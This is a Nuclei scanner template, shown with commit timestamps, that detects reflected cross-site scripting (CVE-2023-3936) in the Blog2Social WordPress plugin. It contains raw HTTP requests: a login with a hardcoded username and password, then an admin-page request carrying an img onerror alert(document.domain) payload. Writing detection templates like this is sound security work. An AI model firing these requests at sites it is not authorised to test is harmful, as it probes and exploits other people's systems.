nuclei-templates/http/cves/2023/CVE-2023-3936.yaml

48 lines
1.4 KiB
YAML
Raw Normal View History

2023-08-23 16:25:51 +00:00
id: CVE-2023-3936
info:
2023-08-23 17:06:12 +00:00
name: Blog2Social < 7.2.1 - Cross-Site Scripting
2023-08-23 16:25:51 +00:00
author: luisfelipe146
severity: medium
2023-08-23 17:06:12 +00:00
description: |
The Blog2Social WordPress plugin before 7.2.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
2023-08-23 16:25:51 +00:00
reference:
- https://wpscan.com/vulnerability/6d09a5d3-046d-47ef-86b4-c024ea09dc0f
2023-08-23 17:06:12 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-3936
2023-08-23 16:25:51 +00:00
classification:
cve-id: CVE-2023-3936
metadata:
2023-08-23 17:06:12 +00:00
max-request: 2
2023-08-23 16:25:51 +00:00
verified: true
2023-08-23 17:06:12 +00:00
tags: cve,cve2023,wordpress,wp,wp-plugin,xss,authenticated
2023-08-23 16:25:51 +00:00
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-08-23 17:06:12 +00:00
log=amanrawat&pwd=Aman@2001;&wp-submit=Log+In
2023-08-23 16:25:51 +00:00
- |
2023-08-23 17:06:12 +00:00
GET /wp-admin/admin.php?page=blog2social&origin=publish_post&deletePostStatus=success&deletedPostsNumber=1<img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
2023-08-23 16:25:51 +00:00
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
2023-08-23 17:06:12 +00:00
words:
- "Deleted 1<img src onerror=alert(document.domain)> posts"
2023-08-23 16:25:51 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200